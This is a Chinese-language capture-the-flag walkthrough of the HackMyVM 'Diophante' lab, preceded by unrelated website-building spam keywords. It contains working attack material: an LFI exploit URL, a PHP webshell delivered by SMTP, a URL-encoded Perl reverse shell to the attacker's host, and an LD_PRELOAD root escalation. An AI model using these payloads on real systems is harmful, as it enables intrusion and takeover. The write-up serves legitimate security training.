定制网站系统,集团公司门户网站建设,舞蹈培训机构网站模板,大庆市建设中等职业技术学校网站1. 基本信息^toc 这里写目录标题 1. 基本信息^toc2. 信息收集2.1. 端口扫描2.2. 目录扫描2.3. knock 3. WordPress利用3.1. wpscan扫描3.2. smtp上传后门 4. 提权4.1. 提权leonard用户4.2. LD劫持提权root 靶机链接 https://hackmyvm.eu/machines/machine.php?vmDiophante 作者…1. 基本信息^toc 这里写目录标题 1. 基本信息^toc2. 信息收集2.1. 端口扫描2.2. 目录扫描2.3. knock 3. WordPress利用3.1. wpscan扫描3.2. smtp上传后门 4. 提权4.1. 提权leonard用户4.2. LD劫持提权root 靶机链接 https://hackmyvm.eu/machines/machine.php?vmDiophante 作者
cromiphi 难度 ⭐️⭐️⭐️⭐️⭐️ 2. 信息收集
2.1. 端口扫描
┌──(root㉿kali)-[~]
└─# nmap 192.168.56.13 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 05:01 EST
Nmap scan report for 192.168.56.13
Host is up (0.0031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
MAC Address: 08:00:27:B8:67:CA (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 28.73 seconds
25 端口被防火墙过滤了 多半是需要knock
2.2. 目录扫描
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.56.13
^[[A/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.htmlfrom pkg_resources import DistributionNotFound, VersionConflict_|. _ _ _ _ _ _|_ v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /root/reports/http_192.168.56.13/_24-12-21_05-06-58.txtTarget: http://192.168.56.13/[05:06:58] Starting:
[05:06:59] 403 - 278B - /.ht_wsr.txt
[05:06:59] 403 - 278B - /.htaccess.orig
[05:06:59] 403 - 278B - /.htaccess.bak1
[05:06:59] 403 - 278B - /.htaccess.save
[05:06:59] 403 - 278B - /.htaccess.sample
[05:06:59] 403 - 278B - /.htaccess_extra
[05:06:59] 403 - 278B - /.htaccess_orig
[05:06:59] 403 - 278B - /.htaccess_sc
[05:06:59] 403 - 278B - /.htaccessOLD
[05:06:59] 403 - 278B - /.htaccessBAK
[05:06:59] 403 - 278B - /.htaccessOLD2
[05:06:59] 403 - 278B - /.htm
[05:06:59] 403 - 278B - /.htpasswd_test
[05:06:59] 403 - 278B - /.html
[05:06:59] 403 - 278B - /.htpasswds
[05:06:59] 403 - 278B - /.httr-oauth
[05:06:59] 403 - 278B - /.php
[05:07:05] 301 - 313B - /blog - http://192.168.56.13/blog/
[05:07:09] 200 - 3KB - /blog/wp-login.php
[05:07:09] 200 - 5KB - /blog/
[05:07:15] 403 - 278B - /server-status
[05:07:15] 403 - 278B - /server-status/Task Completed┌──(root㉿kali)-[~/Desktop/hmv/Diophanate]
└─# gobuster dir -u http://192.168.56.13 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zipGobuster v3.6
by OJ Reeves (TheColonial) Christian Mehlmauer (firefart)[] Url: http://192.168.56.13
[] Method: GET
[] Threads: 10
[] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[] Negative Status codes: 404
[] User Agent: gobuster/3.6
[] Extensions: zip,php,html,txt
[] Timeout: 10sStarting gobuster in directory enumeration mode/.html (Status: 403) [Size: 278]
/.php (Status: 403) [Size: 278]
/index.html (Status: 200) [Size: 10701]
/blog (Status: 301) [Size: 313] [-- http://192.168.56.13/blog/]
/note.txt (Status: 200) [Size: 36]
2.3. knock
/note.txt
┌──(root㉿kali)-[~/Desktop/hmv/Diophanate]
└─# curl http://192.168.56.13/note.txt
Dont forget: 7000 8000 9000admin这应该就是要敲门的端口 ┌──(root㉿kali)-[~/Desktop/hmv/Diophanate]
└─# knock 192.168.56.13 7000 8000 9000 -v
hitting tcp 192.168.56.13:7000
hitting tcp 192.168.56.13:8000
hitting tcp 192.168.56.13:9000┌──(root㉿kali)-[~/Desktop/hmv/Diophanate]
└─# nmap 192.168.56.13
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 05:18 EST
Nmap scan report for 192.168.56.13
Host is up (0.022s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
MAC Address: 08:00:27:B8:67:CA (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 1.90 seconds
3. WordPress利用
发现存在wp-login 路径 多半存在 WordPress 服务 查看源码可以发现一个域名 hard 添加一下
3.1. wpscan扫描
┌──(root㉿kali)-[~]
└─# wpscan --url http://hard/blog --api-token xxxxxx
_________________________________________________________________ _______ _____\ \ / / __ \ / ____|\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®\ \/ \/ / | ___/ \___ \ / __|/ _ | _ \\ /\ / | | ____) | (__| (_| | | | |\/ \/ |_| |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan TeamVersion 3.8.27Sponsored by Automattic - https://automattic.com/_WPScan_, ethicalhack3r, erwan_lr, firefart
_______________________________________________________________[] URL: http://hard/blog/ [192.168.56.13]
[] Started: Sat Dec 21 05:26:22 2024Interesting Finding(s):[] Headers| Interesting Entry: Server: Apache/2.4.38 (Debian)| Found By: Headers (Passive Detection)| Confidence: 100%[] XML-RPC seems to be enabled: http://hard/blog/xmlrpc.php| Found By: Direct Access (Aggressive Detection)| Confidence: 100%| References:| - http://codex.wordpress.org/XML-RPC_Pingback_API| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[] WordPress readme found: http://hard/blog/readme.html| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[] Upload directory has listing enabled: http://hard/blog/wp-content/uploads/| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[] The external WP-Cron seems to be enabled: http://hard/blog/wp-cron.php| Found By: Direct Access (Aggressive Detection)| Confidence: 60%| References:| - https://www.iplocation.net/defend-wordpress-from-ddos| - https://github.com/wpscanteam/wpscan/issues/1299[] WordPress version 5.7 identified (Insecure, released on 2021-03-09).| Found By: Rss Generator (Passive Detection)| - http://hard/blog/?feedrss2, generatorhttps://wordpress.org/?v5.7/generator| - http://hard/blog/?feedcomments-rss2, generatorhttps://wordpress.org/?v5.7/generator|| [!] 44 vulnerabilities identified:[] site-editor| Location: http://hard/blog/wp-content/plugins/site-editor/| Latest Version: 1.1.1 (up to date)| Last Updated: 2017-05-02T23:34:00.000Z|| Found By: Urls In Homepage (Passive Detection)|| [!] 1 vulnerability identified:|| [!] Title: Site Editor 1.1.1 - Local File Inclusion (LFI)| References:| - https://wpscan.com/vulnerability/4432ecea-2b01-4d5c-9557-352042a57e44| - https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2018-7422| - https://seclists.org/fulldisclosure/2018/Mar/40| - https://github.com/SiteEditor/editor/issues/2|| Version: 1.1.1 (80% confidence)| Found By: Readme - Stable Tag (Aggressive Detection)| - http://hard/blog/wp-content/plugins/site-editor/readme.txt
里面可以检测到site-editor存在插件存在一个LFI 然后可以找到这个CVE的利用 https://www.exploit-db.com/exploits/44340 验证一下发现存在可以利用
http://192.168.56.13/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path/etc/passwd3.2. smtp上传后门
我们获取到了一个LFI 但是现在需要利用这个弹一个shell
这里我想到了我们端口扫描时 开放的25端口 SMTP邮件服务 我们利用SMTP邮件服务 发送一个后门邮件 然后对其进行文件包含 这里需要选择一个接受邮件的用户用户可以在/etc/passwd里面获取 apt install postfix┌──(root㉿kali)-[~/Desktop/hmv/Diophanate]
└─# nc 192.168.56.14 25
220 debian ESMTP Postfix (Debian/GNU)
helo xxx
250 debian
mail from:kali
250 2.1.0 Ok
rcpt to: sabine
250 2.1.5 Ok
data
354 End data with CRLF.CRLF
?php system($_GET[cmd]);?
.
250 2.0.0 Ok: queued as B952B802CC
quit
221 2.0.0 Bye [!warning] 邮件发送过多会导致log文件损坏需要重置靶机才行 rcpt to: sabine 后面的接受者是固定的 不能任意必须是目标靶机上的用户 mail from:kali 这里后面的发送者可以任意但一定要用 括起来 我们使用 Postfix 发送邮件邮件通常存储在 /var/spool/mail/用户名 或 /var/mail/用户名 中。
然后访问 http://192.168.56.14/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path/var/mail/sabinecmdid 即可RCE
弹shell
curl http://192.168.56.14/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path/var/mail/sabinecmdperl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.56.6%22%3B%24p%3D1234%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fbash%20-i%22%29%3B%7D%3B%27┌──(root㉿kali)-[~/Desktop/hmv/Diophanate]
└─# pwncat-cs -lp 1234[08:40:32] Welcome to pwncat ! __main__.py:164
[08:40:59] received connection from 192.168.56.14:42498 bind.py:84
[08:41:00] 192.168.56.14:42498: registered new host w/ db manager.py:957
(local) pwncat$
(remote) www-datadiophante:/var/www/html/blog/wp-content/plugins/site-editor/editor/extensions/pagebui
lder/includes$
4. 提权
4.1. 提权leonard用户
检测发现有 doas 的SUID权限 我们看看doas的配置文件
(remote) www-datadiophante:/home/leonard$ cat /etc/doas.conf
permit nopass www-data as sabine cmd /usr/bin/setsid
permit nopass sabine as leonard cmd /usr/bin/mutt允许我们以 www-data 用户 用 sabine 用户的权限执行 /usr/bin/setsid 允许我们以 sabine 用户 用 leonard 用户的权限执行 /usr/bin/mutt
先利用 /usr/bin/setsid 提取到 sabine 用户
(remote) www-datadiophante:/home/leonard$ doas -u sabine /usr/bin/setsid bash
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
sabinediophante:/home/leonard$ whoami
sabine
然后提权到 leonard 用户
sabinediophante:/home/leonard$ doas -u leonard /usr/bin/mutt
输入回车
leonarddiophante:~$ whoami
leonardleonarddiophante:~$ cat user.txt
Thonirburarnlog
4.2. LD劫持提权root
leonarddiophante:~$ sudo -l
Matching Defaults entries for leonard on diophante:env_reset, mail_badpass,secure_path/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keepLD_PRELOADUser leonard may run the following commands on diophante:(ALL : ALL) NOPASSWD: /usr/bin/ping
发现我们当前用户可以执行/usr/bin/ping 其中 env_keepLD_PRELOAD 运行我们进行LD劫持
当我们使用 Ping 命令时就会调用很多动态链接库文件.so文件里面的函数而 LD_PRELOAD 这个环境变量允许我们指定优先调用的动态链接库文件。 所以我们可以写一个恶意的so文件替换里面被调用函数的功能然后让其 ping 以root用户运行这个函数 实现提权
首先我们需要获取到一个 ping 命令时一定会执行函数 ida反编译 ping 这里我选择 getopt 函数。因为他的作用是获取参数。所以基本上一定会被调用
编译恶意so文件
int getopt(char *s){setuid(0);setgid(0);system(chmod s /bin/bash);
}gcc a.c -o pwn.so -shared这里我用Kali2024的编译不行 会报错 可以换一个版本 。应该是gcc版本的问题。
然后把编译后的 pwn.so 传上去就行了
sudo -u root LD_PRELOAD/tmp/pwn.so /usr/bin/ping 1.1.1.1des$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
leonarddiophante:/var/www/html/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/inclu
des$ bash -pbash-5.0# whoami
root
bash-5.0# ls /root
root.txt
bash-5.0# cat /root/root.txt
Culcelborlus
